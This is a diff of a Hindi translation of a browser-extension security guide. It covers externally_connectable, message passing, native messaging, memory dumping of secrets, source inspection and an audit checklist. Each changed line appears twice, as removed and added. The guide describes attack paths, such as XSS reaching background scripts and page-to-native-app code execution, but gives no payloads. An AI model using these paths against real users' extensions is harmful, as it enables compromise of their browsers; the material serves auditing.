||||
> इन पृष्ठों को केवल एक्सटेंशन द्वारा लोड करने की अनुमति देना और यादृच्छिक URLs द्वारा नहीं, ClickJacking हमलों को रोक सकता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि **`web_accessible_resources`** से पृष्ठ और एक्सटेंशन के अन्य पृष्ठ भी **पृष्ठभूमि स्क्रिप्ट से संपर्क करने में सक्षम** हैं। इसलिए यदि इनमें से कोई पृष्ठ **XSS** के प्रति संवेदनशील है, तो यह एक बड़ी कमजोरी खोल सकता है।
|
||||
> ध्यान दें कि **`web_accessible_resources`** से पृष्ठ और एक्सटेंशन के अन्य पृष्ठ भी **पृष्ठभूमि स्क्रिप्ट से संपर्क करने में सक्षम** होते हैं। इसलिए यदि इनमें से कोई पृष्ठ **XSS** के प्रति संवेदनशील है, तो यह एक बड़ी कमजोरी खोल सकता है।
|
||||
>
|
||||
> इसके अलावा, ध्यान दें कि आप केवल **`web_accessible_resources`** में निर्दिष्ट पृष्ठों को iframes के अंदर खोल सकते हैं, लेकिन एक नए टैब से एक्सटेंशन ID जानने पर किसी भी पृष्ठ तक पहुंचना संभव है। इसलिए, यदि एक XSS पाया जाता है जो समान पैरामीटर का दुरुपयोग करता है, तो इसका दुरुपयोग किया जा सकता है भले ही पृष्ठ **`web_accessible_resources`** में कॉन्फ़िगर न किया गया हो।
|
||||
> इसके अलावा, ध्यान दें कि आप केवल **`web_accessible_resources`** में निर्दिष्ट पृष्ठों को iframes के अंदर खोल सकते हैं, लेकिन एक नए टैब से किसी भी पृष्ठ तक पहुंचना संभव है यदि एक्सटेंशन ID ज्ञात हो। इसलिए, यदि एक XSS पाया जाता है जो समान पैरामीटर का दुरुपयोग करता है, तो इसका दुरुपयोग किया जा सकता है भले ही पृष्ठ **`web_accessible_resources`** में कॉन्फ़िगर न किया गया हो।
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) के अनुसार, `"externally_connectable"` मैनिफेस्ट प्रॉपर्टी **यह घोषित करती है कि कौन सी एक्सटेंशन और वेब पृष्ठ आपके एक्सटेंशन से [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) और [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) के माध्यम से कनेक्ट कर सकते हैं**।
|
||||
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) के अनुसार, `"externally_connectable"` मैनिफेस्ट प्रॉपर्टी यह घोषित करती है कि **कौन सी एक्सटेंशन और वेब पृष्ठ आपके एक्सटेंशन से [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) और [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) के माध्यम से कनेक्ट कर सकते हैं**।
|
||||
|
||||
- यदि **`externally_connectable`** कुंजी आपके एक्सटेंशन के मैनिफेस्ट में **घोषित नहीं** की गई है या इसे **`"ids": ["*"]`** के रूप में घोषित किया गया है, तो **सभी एक्सटेंशन कनेक्ट कर सकते हैं, लेकिन कोई वेब पृष्ठ कनेक्ट नहीं कर सकता**।
|
||||
- यदि आपके एक्सटेंशन के मैनिफेस्ट में **`externally_connectable`** कुंजी **घोषित नहीं** की गई है या इसे **`"ids": ["*"]`** के रूप में घोषित किया गया है, तो **सभी एक्सटेंशन कनेक्ट कर सकते हैं, लेकिन कोई वेब पृष्ठ कनेक्ट नहीं कर सकता**।
|
||||
- यदि **विशिष्ट IDs निर्दिष्ट की गई हैं**, जैसे `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, तो **केवल वही एप्लिकेशन** कनेक्ट कर सकते हैं।
|
||||
- यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट करने में सक्षम होंगे:
|
||||
```json
|
||||
@ -342,7 +342,7 @@ browext-clickjacking.md
|
||||
>
|
||||
> इसलिए, यह एक **बहुत शक्तिशाली बायपास** है।
|
||||
>
|
||||
> इसके अलावा, यदि क्लाइंट एक रॉग एक्सटेंशन स्थापित करता है, तो भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **एक अनुमत वेब पृष्ठ में XSS डेटा** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदल सके। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है।
|
||||
> इसके अलावा, यदि क्लाइंट एक रॉग एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **एक अनुमत वेब पृष्ठ में XSS डेटा** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदल दिया जा सके। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है।
|
||||
|
||||
## संचार सारांश
|
||||
|
||||
@ -352,7 +352,7 @@ browext-clickjacking.md
|
||||
|
||||
### एक्सटेंशन के अंदर
|
||||
|
||||
आमतौर पर **`chrome.runtime.sendMessage`** का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आमतौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है।
|
||||
आम तौर पर **`chrome.runtime.sendMessage`** का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आमतौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है।
|
||||
|
||||
यह **`chrome.runtime.connect()`** का उपयोग करके एक स्थायी कनेक्शन बनाने के लिए भी संभव है, इसके बजाय एकल संदेश भेजने के, इसे **संदेश भेजने** और **प्राप्त करने** के लिए उपयोग किया जा सकता है जैसे कि निम्नलिखित उदाहरण में:
|
||||
|
||||
@ -393,7 +393,7 @@ console.log("Content script received message from background script:", msg)
|
||||
|
||||
### अनुमति प्राप्त `externally_connectable` से एक्सटेंशन तक
|
||||
|
||||
**वेब ऐप्स और बाहरी ब्राउज़र एक्सटेंशन जो `externally_connectable` कॉन्फ़िगरेशन में अनुमति प्राप्त हैं** अनुरोध भेज सकते हैं:
|
||||
**वेब ऐप्स और बाहरी ब्राउज़र एक्सटेंशन** जो `externally_connectable` कॉन्फ़िगरेशन में अनुमति प्राप्त हैं, अनुरोध भेज सकते हैं:
|
||||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
@ -413,7 +413,7 @@ console.log("Received " + response)
|
||||
```
|
||||
## Web **↔︎** Content Script Communication
|
||||
|
||||
जहाँ **content scripts** काम करते हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **Document Object Model (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **content script** के साथ संवाद करने के लिए, या अप्रत्यक्ष रूप से content script के माध्यम से एक्सटेंशन के साथ, आवश्यक है कि वह **DOM** का उपयोग करे जो दोनों पक्षों द्वारा सुलभ है, संवाद चैनल के रूप में।
|
||||
जहाँ **content scripts** काम करते हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **Document Object Model (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **content script** के साथ संवाद करने के लिए, या अप्रत्यक्ष रूप से content script के माध्यम से एक्सटेंशन के साथ, आवश्यक है कि वे दोनों पक्षों द्वारा सुलभ **DOM** का उपयोग करें जो संवाद चैनल के रूप में कार्य करता है।
|
||||
|
||||
### Post Messages
|
||||
```javascript:content-script.js
|
||||
@ -466,7 +466,7 @@ false
|
||||
|
||||
### Iframe
|
||||
|
||||
संचार का एक और संभावित तरीका **Iframe URLs** के माध्यम से हो सकता है, आप इसका एक उदाहरण यहां पा सकते हैं:
|
||||
संचार का एक और संभावित तरीका **Iframe URLs** के माध्यम से हो सकता है, आप इसका एक उदाहरण यहाँ पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
@ -476,7 +476,7 @@ browext-xss-example.md
|
||||
|
||||
यह "सटीक" संचार का एक तरीका नहीं है, लेकिन **वेब और सामग्री स्क्रिप्ट को वेब DOM तक पहुंच होगी**। इसलिए, यदि **सामग्री स्क्रिप्ट** इससे कुछ जानकारी पढ़ रही है, **वेब DOM पर भरोसा करते हुए**, तो वेब इस डेटा को **संशोधित कर सकता है** (क्योंकि वेब पर भरोसा नहीं किया जाना चाहिए, या क्योंकि वेब XSS के प्रति संवेदनशील है) और **सामग्री स्क्रिप्ट को समझौता कर सकता है**।
|
||||
|
||||
आप एक **DOM आधारित XSS से ब्राउज़र एक्सटेंशन को समझौता करने** का एक उदाहरण भी यहां पा सकते हैं:
|
||||
आप एक **DOM आधारित XSS से ब्राउज़र एक्सटेंशन को समझौता करने** का एक उदाहरण भी यहाँ पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
@ -509,7 +509,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
**प्राप्ति के अंत** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करने की आवश्यकता है। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है।
|
||||
**प्राप्ति के अंत** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करना होगा। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है।
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
||||
@ -525,7 +525,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
|
||||
एक महत्वपूर्ण विचार यह है कि उन परिदृश्यों में जहां कई पृष्ठ `onMessage` इवेंट प्राप्त करने के लिए सेट किए गए हैं, **विशिष्ट इवेंट के लिए `sendResponse()`** निष्पादित करने वाला पहला पृष्ठ ही प्रभावी रूप से प्रतिक्रिया देने में सक्षम होगा। उसी इवेंट के लिए किसी भी बाद की प्रतिक्रियाओं पर विचार नहीं किया जाएगा।
|
||||
|
||||
नई एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर `true` लौटाकर असमकालिक संचालन को इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन को मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा।
|
||||
नई एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर असमकालिक संचालन को `true` लौटाकर इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन को मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा।
|
||||
|
||||
## Native Messaging
|
||||
|
||||
@ -539,14 +539,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
जहाँ `name` वह स्ट्रिंग है जो [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) या [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) को एप्लिकेशन के साथ संवाद करने के लिए ब्राउज़र एक्सटेंशन के बैकग्राउंड स्क्रिप्ट से पास किया जाता है। `path` बाइनरी का पथ है, केवल 1 मान्य `type` है जो stdio है (stdin और stdout का उपयोग करें) और `allowed_origins` उन एक्सटेंशनों को इंगित करता है जो इसे एक्सेस कर सकते हैं (और इसमें वाइल्डकार्ड नहीं हो सकता)।
|
||||
जहाँ `name` वह स्ट्रिंग है जो [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) या [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) को एप्लिकेशन के साथ संवाद करने के लिए ब्राउज़र एक्सटेंशन के बैकग्राउंड स्क्रिप्ट से पास किया जाता है। `path` बाइनरी का पथ है, केवल 1 मान्य `type` है जो stdio है (stdin और stdout का उपयोग करें) और `allowed_origins` उन एक्सटेंशनों को इंगित करता है जो इसे एक्सेस कर सकते हैं (और वाइल्डकार्ड नहीं हो सकता)।
|
||||
|
||||
Chrome/Chromium इस json को कुछ विंडोज रजिस्ट्री और macOS और Linux में कुछ पथों में खोजेगा (अधिक जानकारी के लिए [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) देखें)।
|
||||
|
||||
> [!TIP]
|
||||
> ब्राउज़र एक्सटेंशन को इस संचार का उपयोग करने के लिए `nativeMessaing` अनुमति घोषित करने की भी आवश्यकता है।
|
||||
|
||||
यहाँ एक बैकग्राउंड स्क्रिप्ट कोड है जो एक नेटीव एप्लिकेशन को संदेश भेजता है:
|
||||
यहाँ एक बैकग्राउंड स्क्रिप्ट कोड है जो एक नेटिव एप्लिकेशन को संदेश भेजता है:
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -563,11 +563,11 @@ In [**इस ब्लॉग पोस्ट**](https://spaceraccoon.dev/univers
|
||||
3. पृष्ठभूमि स्क्रिप्ट संदेश को `sendNativeMessage` का उपयोग करके स्थानीय एप्लिकेशन को भेजती है।
|
||||
4. स्थानीय एप्लिकेशन संदेश को खतरनाक तरीके से संभालता है, जिससे कोड निष्पादन होता है।
|
||||
|
||||
और इसके अंदर **किसी भी पृष्ठ से RCE तक जाने का एक उदाहरण एक ब्राउज़र एक्सटेंशन का दुरुपयोग करते हुए समझाया गया है**।
|
||||
और इसके अंदर **किसी भी पृष्ठ से RCE में जाने का एक उदाहरण एक ब्राउज़र एक्सटेंशन का दुरुपयोग करते हुए समझाया गया है**।
|
||||
|
||||
## मेमोरी/कोड/क्लिपबोर्ड में संवेदनशील जानकारी
|
||||
|
||||
यदि एक ब्राउज़र एक्सटेंशन **अपनी मेमोरी के अंदर संवेदनशील जानकारी संग्रहीत करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
|
||||
यदि एक ब्राउज़र एक्सटेंशन **संवेदनशील जानकारी को अपनी मेमोरी के अंदर संग्रहीत करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
|
||||
|
||||
इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **संग्रहीत नहीं किए जाने चाहिए**।
|
||||
|
||||
@ -610,16 +610,16 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
### स्थानीय रूप से इंस्टॉल किए गए एक्सटेंशन का सोर्स देखें
|
||||
|
||||
स्थानीय रूप से इंस्टॉल किए गए Chrome एक्सटेंशन को भी निरीक्षण किया जा सकता है। यहाँ यह कैसे करें:
|
||||
स्थानीय रूप से इंस्टॉल किए गए Chrome एक्सटेंशन को भी निरीक्षण किया जा सकता है। यहाँ बताया गया है:
|
||||
|
||||
1. अपने Chrome स्थानीय प्रोफ़ाइल डायरेक्टरी तक पहुँचें `chrome://version/` पर जाकर और "Profile Path" फ़ील्ड को ढूंढकर।
|
||||
2. प्रोफ़ाइल डायरेक्टरी के भीतर `Extensions/` उपफोल्डर में जाएँ।
|
||||
1. अपने Chrome स्थानीय प्रोफ़ाइल डायरेक्टरी तक पहुँचने के लिए `chrome://version/` पर जाएँ और "Profile Path" फ़ील्ड को खोजें।
|
||||
2. प्रोफ़ाइल डायरेक्टरी के भीतर `Extensions/` उपफ़ोल्डर पर जाएँ।
|
||||
3. इस फ़ोल्डर में सभी इंस्टॉल किए गए एक्सटेंशन होते हैं, आमतौर पर उनके सोर्स कोड के साथ एक पठनीय प्रारूप में।
|
||||
|
||||
एक्सटेंशनों की पहचान करने के लिए, आप उनके IDs को नामों से मैप कर सकते हैं:
|
||||
|
||||
- `about:extensions` पृष्ठ पर डेवलपर मोड सक्षम करें ताकि आप प्रत्येक एक्सटेंशन के IDs देख सकें।
|
||||
- प्रत्येक एक्सटेंशन के फ़ोल्डर के भीतर, `manifest.json` फ़ाइल में एक पठनीय `name` फ़ील्ड होता है, जो आपको एक्सटेंशन की पहचान करने में मदद करता है।
|
||||
- प्रत्येक एक्सटेंशन के IDs देखने के लिए `about:extensions` पृष्ठ पर डेवलपर मोड सक्षम करें।
|
||||
- प्रत्येक एक्सटेंशन के फ़ोल्डर के भीतर, `manifest.json` फ़ाइल में एक पठनीय `name` फ़ील्ड होती है, जो आपको एक्सटेंशन की पहचान करने में मदद करती है।
|
||||
|
||||
### फ़ाइल आर्काइवर या अनपैकर का उपयोग करें
|
||||
|
||||
@ -627,7 +627,7 @@ Chrome Web Store पर जाएँ और एक्सटेंशन डा
|
||||
|
||||
### Chrome में डेवलपर मोड का उपयोग करें
|
||||
|
||||
Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "Developer mode" सक्षम करें। "Load unpacked extension..." पर क्लिक करें। अपने एक्सटेंशन के डायरेक्टरी में जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
|
||||
Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "Developer mode" सक्षम करें। "Load unpacked extension..." पर क्लिक करें। अपने एक्सटेंशन के डायरेक्टरी पर जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
|
||||
|
||||
## Chrome एक्सटेंशन मैनिफेस्ट डेटासेट
|
||||
|
||||
@ -638,23 +638,23 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
```
|
||||
## सुरक्षा ऑडिट चेकलिस्ट
|
||||
|
||||
हालांकि ब्राउज़र एक्सटेंशन में **सीमित हमले की सतह** होती है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती में सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं:
|
||||
हालांकि ब्राउज़र एक्सटेंशन का **सीमित हमला सतह** है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं:
|
||||
|
||||
- [ ] **अनुरोधित** **`permissions`** को यथासंभव सीमित करें
|
||||
- [ ] **`host_permissions`** को यथासंभव सीमित करें
|
||||
- [ ] जितना संभव हो **`permissions`** की मांग को **सीमित** करें
|
||||
- [ ] जितना संभव हो **`host_permissions`** को **सीमित** करें
|
||||
- [ ] एक **मजबूत** **`content_security_policy`** का उपयोग करें
|
||||
- [ ] **`externally_connectable`** को यथासंभव सीमित करें, यदि कोई आवश्यकता नहीं है और संभव है, तो इसे डिफ़ॉल्ट रूप से न छोड़ें, **`{}`** निर्दिष्ट करें
|
||||
- [ ] यदि यहां **XSS या टेकओवर के लिए कमजोर URL** का उल्लेख किया गया है, तो एक हमलावर **पृष्ठभूमि स्क्रिप्ट को सीधे संदेश भेजने** में सक्षम होगा। बहुत शक्तिशाली बायपास।
|
||||
- [ ] **`web_accessible_resources`** को यथासंभव सीमित करें, यदि संभव हो तो खाली भी।
|
||||
- [ ] जितना संभव हो **`externally_connectable`** को **सीमित** करें, यदि कोई आवश्यकता नहीं है और संभव है, तो इसे डिफ़ॉल्ट रूप से न छोड़ें, **`{}`** निर्दिष्ट करें
|
||||
- [ ] यदि यहां **XSS या अधिग्रहण के लिए संवेदनशील URL** का उल्लेख किया गया है, तो एक हमलावर **पृष्ठभूमि स्क्रिप्ट को सीधे संदेश भेजने** में सक्षम होगा। बहुत शक्तिशाली बायपास।
|
||||
- [ ] जितना संभव हो **`web_accessible_resources`** को **सीमित** करें, यदि संभव हो तो खाली भी।
|
||||
- [ ] यदि **`web_accessible_resources`** कोई नहीं है, तो [**ClickJacking**](browext-clickjacking.md) के लिए जांचें
|
||||
- [ ] यदि **एक्सटेंशन** से **वेब पृष्ठ** में कोई **संवाद** होता है, तो [**XSS**](browext-xss-example.md) **कमजोरियों** के लिए जांचें जो संवाद में उत्पन्न होती हैं।
|
||||
- [ ] यदि पोस्ट संदेशों का उपयोग किया जाता है, तो [**पोस्ट संदेश कमजोरियों**](../postmessage-vulnerabilities/)** के लिए जांचें।**
|
||||
- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरण** तक पहुंचती है, तो जांचें कि वे **XSS** को **परिवर्तित** नहीं कर रही हैं यदि वे वेब द्वारा **संशोधित** की जाती हैं
|
||||
- [ ] यदि पोस्ट संदेशों का उपयोग किया जाता है, तो [**पोस्ट संदेश कमजोरियों**](../postmessage-vulnerabilities/index.html)** के लिए जांचें।**
|
||||
- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरण** तक पहुंचती है, तो जांचें कि वे **XSS** को **परिचयित** नहीं कर रही हैं यदि वे **संशोधित** हो जाती हैं
|
||||
- [ ] यदि यह संवाद **कंटेंट स्क्रिप्ट -> पृष्ठभूमि स्क्रिप्ट संवाद** में भी शामिल है, तो विशेष जोर दें
|
||||
- [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और साफ है
|
||||
- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **कोड** के अंदर नहीं रखा जाना चाहिए
|
||||
- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **मेमोरी** के अंदर नहीं रखा जाना चाहिए
|
||||
- [ ] **संवेदनशील जानकारी को फ़ाइल प्रणाली में बिना सुरक्षा के नहीं रखा जाना चाहिए**
|
||||
- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन के **कोड** के अंदर नहीं रखा जाना चाहिए**
|
||||
- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन की **मेमोरी** के अंदर नहीं रखा जाना चाहिए**
|
||||
- [ ] **संवेदनशील जानकारी को **फाइल सिस्टम में बिना सुरक्षा** के नहीं रखा जाना चाहिए**
|
||||
|
||||
## ब्राउज़र एक्सटेंशन जोखिम
|
||||
|
||||
@ -666,30 +666,30 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
|
||||
- प्रदान किए गए क्रोम वेबस्टोर लिंक से किसी भी क्रोम एक्सटेंशन को खींचता है।
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **दर्शक**: बस एक्सटेंशन के मैनिफेस्ट का JSON-प्रेटीफाइड संस्करण प्रदर्शित करता है।
|
||||
- **Fingerprint विश्लेषण**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) का पता लगाना और क्रोम एक्सटेंशन फिंगरप्रिंटिंग जावास्क्रिप्ट का स्वचालित निर्माण।
|
||||
- **संभावित Clickjacking विश्लेषण**: एक्सटेंशन HTML पृष्ठों का पता लगाना जिनमें [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) निर्देश सेट है। ये पृष्ठों के उद्देश्य के आधार पर क्लिकजैकिंग के लिए संभावित रूप से कमजोर हो सकते हैं।
|
||||
- **फिंगरप्रिंट विश्लेषण**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) का पता लगाना और क्रोम एक्सटेंशन फिंगरप्रिंटिंग जावास्क्रिप्ट का स्वचालित निर्माण।
|
||||
- **संभावित क्लिकजैकिंग विश्लेषण**: एक्सटेंशन HTML पृष्ठों का पता लगाना जिनमें [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) निर्देश सेट है। ये पृष्ठों के उद्देश्य के आधार पर क्लिकजैकिंग के लिए संभावित रूप से संवेदनशील हो सकते हैं।
|
||||
- **अनुमति चेतावनी दर्शक**: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएगी।
|
||||
- **खतरनाक फ़ंक्शन**: खतरनाक फ़ंक्शनों का स्थान दिखाता है जिन्हें संभावित रूप से एक हमलावर द्वारा शोषित किया जा सकता है (जैसे innerHTML, chrome.tabs.executeScript जैसे फ़ंक्शन)।
|
||||
- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन की सतह क्षेत्र को समझने और एक्सटेंशन में दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है।
|
||||
- खतरनाक फ़ंक्शन और प्रवेश बिंदु स्कैनर के लिए उनके उत्पन्न अलर्ट में निम्नलिखित शामिल हैं:
|
||||
- **खतरनाक कार्य**: खतरनाक कार्यों का स्थान दिखाता है जिन्हें संभावित रूप से एक हमलावर द्वारा शोषित किया जा सकता है (जैसे, innerHTML, chrome.tabs.executeScript जैसे कार्य)।
|
||||
- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन के सतह क्षेत्र को समझने और एक्सटेंशन को दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है।
|
||||
- खतरनाक कार्यों और प्रवेश बिंदुओं के स्कैनर के लिए उनके उत्पन्न अलर्ट के लिए निम्नलिखित हैं:
|
||||
- संबंधित कोड स्निपेट और वह पंक्ति जिसने अलर्ट का कारण बना।
|
||||
- समस्या का विवरण।
|
||||
- कोड वाले पूर्ण स्रोत फ़ाइल को देखने के लिए "View File" बटन।
|
||||
- अलर्ट की गई फ़ाइल का पथ।
|
||||
- अलर्ट की गई फ़ाइल का पूर्ण क्रोम एक्सटेंशन URI।
|
||||
- यह किस प्रकार की फ़ाइल है, जैसे कि पृष्ठभूमि पृष्ठ स्क्रिप्ट, सामग्री स्क्रिप्ट, ब्राउज़र क्रिया, आदि।
|
||||
- यदि कमजोर पंक्ति एक जावास्क्रिप्ट फ़ाइल में है, तो यह उन सभी पृष्ठों के पथ दिखाता है जहां इसे शामिल किया गया है, साथ ही इन पृष्ठों का प्रकार और [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) स्थिति।
|
||||
- **कंटेंट सुरक्षा नीति (CSP) विश्लेषक और बायपास चेक**: यह आपके एक्सटेंशन की CSP में कमजोरियों को उजागर करेगा और आपके CSP को बायपास करने के संभावित तरीकों को भी उजागर करेगा।
|
||||
- यदि संवेदनशील पंक्ति एक जावास्क्रिप्ट फ़ाइल में है, तो यह उन सभी पृष्ठों के पथ दिखाता है जहां इसे शामिल किया गया है, साथ ही इन पृष्ठों का प्रकार और [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) स्थिति।
|
||||
- **कंटेंट सुरक्षा नीति (CSP) विश्लेषक और बायपास चेक**: यह आपके एक्सटेंशन की CSP में कमजोरियों को उजागर करेगा और आपके CSP को व्हाइटलिस्टेड CDNs आदि के कारण बायपास करने के संभावित तरीकों को भी उजागर करेगा।
|
||||
